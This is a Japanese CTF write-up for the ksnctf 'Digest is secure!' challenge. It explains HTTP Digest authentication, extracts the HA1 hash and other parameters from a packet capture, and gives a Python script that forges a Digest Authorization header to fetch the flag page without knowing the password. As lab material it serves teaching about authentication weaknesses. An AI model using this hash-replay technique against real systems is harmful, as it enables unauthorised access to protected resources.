【ksnctf】Digest is secure!【writeup】

技術
q9.pcap

Wiresharkでみてみる

タイトルの通り、ダイジェスト認証らしい

ダイジェスト認証の手順

  1. クライアントからの初期リクエスト: クライアントは最初に認証が必要なリソースへのリクエストを送信します。
  2. サーバーからの認証要求: サーバーは401ステータスコードとともに「WWW-Authenticate」ヘッダを送信します。このヘッダには、ノンス(一度きりの値)やその他の認証に関連する情報が含まれます。
  3. クライアントの応答: クライアントはユーザー名とパスワードを使用していくつかの応答パラメータを計算します。以下は、一般的な計算のステップです:
    1. HA1の計算:
    HA1 = MD5(ユーザー名 ":" レルム ":" パスワード)
    1. HA2の計算:
    HA2 = MD5(HTTPメソッド ":" リクエストのURI)
    1. 応答の計算:
    応答 = MD5(HA1 ":" サーバーからのノンス ":" ノンスカウント ":" クライアントノンス ":" QoP ":" HA2)
HA1MD5(ユーザー名 ":" レルム ":" パスワード)
HA2MD5(HTTPメソッド ":" リクエストのURI)
応答MD5(HA1 “:” サーバーからのノンス “:” ノンスカウント “:” クライアントノンス “:” QoP “:” HA2)

手順

GET /q9/ のレスポンスを分解する

response=”e9654c012dc42f9f78f81a685073df98″ からMD5逆算すると

c627e19450db746b739f41b64097d449:HHj57RG8BQA=4714c627c5195786fc112b67eca599d675d5454b:00000003:1064eaa9478a0396:auth:a2baed8041744d5c3d6cc250222d5930

MD5デコード結果
HA1c627e19450db746b739f41b64097d449不可
サーバーからのノンスHHj57RG8BQA=4714c627c5195786fc112b67eca599d675d5454b
ノンスカウント00000003
クライアントノンス1064eaa9478a0396
QoPauth
HA2a2baed8041744d5c3d6cc250222d5930GET:/q9/htdigest

※HA1をMD5 decryptはできませんでした(=パスワードを取得できない)

つまり、(パスワードは不明のままでも)ダイジェスト認証を通すためには、上記が一致していれば認証が通るということです。(つまり、ブラウザからダイジェスト認証を通すのではなく、リクエストヘッダを意図的に生成してやればよいということ)

ここで一度パケットを確認する

どうやら、フラグは flag.html にあるそうです。

Pythonでリクエストを指定して取得してみよう

ハッシュ変換前の値、補足
HA1c627e19450db746b739f41b64097d449不明
サーバーからのノンス?通信時にサーバーが生成する
ノンスカウント00000001多分1でよい?
クライアントノンス?こちらが指定する=なんでもいい
QoPauth
HA29e2b6bca5d4d92f6ead358623df264c8GET:/q9/flag.html
import requests
from requests.auth import HTTPDigestAuth
import hashlib  # hashlibモジュールをインポート

import re

# 初期変数の設定
url = "http://ctfq.u1tramarine.blue/q9/flag.html"
username = "q9"
realm = "secret"
uri = "/q9/flag.html"
qop = "auth"
nc = "00000001"
cnonce = "your_cnonce_here"  # クライアントが生成する一意の値
HA1 = "c627e19450db746b739f41b64097d449"
HA2 = "9e2b6bca5d4d92f6ead358623df264c8"

# 最初の未認証リクエストを送信してnonceを取得
response = requests.get(url)
if 'www-authenticate' in response.headers:
    auth_header = response.headers['www-authenticate']
    nonce = re.search('nonce="([^"]+)', auth_header).group(1)
else:
    print("WWW-Authenticate header not found")
    exit()

# レスポンスの計算
response_value = hashlib.md5(f"{HA1}:{nonce}:{nc}:{cnonce}:{qop}:{HA2}".encode()).hexdigest()

# カスタム認証ヘッダーを作成
auth_header = f'Digest username="{username}", realm="{realm}", nonce="{nonce}", uri="{uri}", qop={qop}, nc={nc}, cnonce="{cnonce}", response="{response_value}"'

# 認証リクエストを送信
response = requests.get(url, headers={'Authorization': auth_header})

# レスポンスを表示
print(response.status_code)
print(response.text)

まとめ

  • ダイジェスト認証の仕組みを理解した
  • pythonで指定したヘッダを送ることができることを理解した

コメント

タイトルとURLをコピーしました